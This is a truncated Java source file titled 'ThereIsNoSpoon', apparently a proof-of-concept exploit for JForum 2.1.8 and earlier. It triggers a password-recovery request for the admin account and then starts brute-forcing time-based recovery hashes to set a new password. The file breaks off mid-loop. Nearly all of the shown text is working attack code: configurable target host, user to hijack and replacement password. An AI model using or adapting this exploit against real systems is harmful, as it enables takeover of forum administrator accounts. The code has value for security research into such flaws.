/** * ThereIsNoSpoon.java * * Program for hacking JForum accounts, version 2.1.8 and lower. Way older * versions may need some tweaking. * * - Arshan Dabirsiaghi (arshan.dabirsiaghi@aspectsecurity.com) */ import java.io.IOException; import java.security.MessageDigest; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpException; import org.apache.commons.httpclient.methods.PostMethod; public class ThereIsNoSpoon { public static String HOST_TO_ATTACK = "localhost"; public static int PORT_TO_ATTACK = 8080; public static String CONTEXT_OF_JFORUM = "JForum"; public static int USER_ID_TO_HIJACK = 1; public static String USER_NAME_TO_HIJACK = "admin"; public static String USER_EMAIL_TO_HIJACK = ""; public static String USER_NEW_PASSWORD = "lololoollllol"; public static String FAIL_MSG = "The supplied data is invalid."; public static String SUCCESS_MSG = "Your password was updated"; /** * The main() method for the program, skeleton style. */ public static void main(String[] args) throws Exception { /* * Step 1: request a password recovery. */ long startTime = System.currentTimeMillis(); claimLostPassword(USER_NAME_TO_HIJACK); long endTime = System.currentTimeMillis(); /* * Step 2: loop through possible hashes, and await success. */ boolean hacked = false; for(long i=startTime;i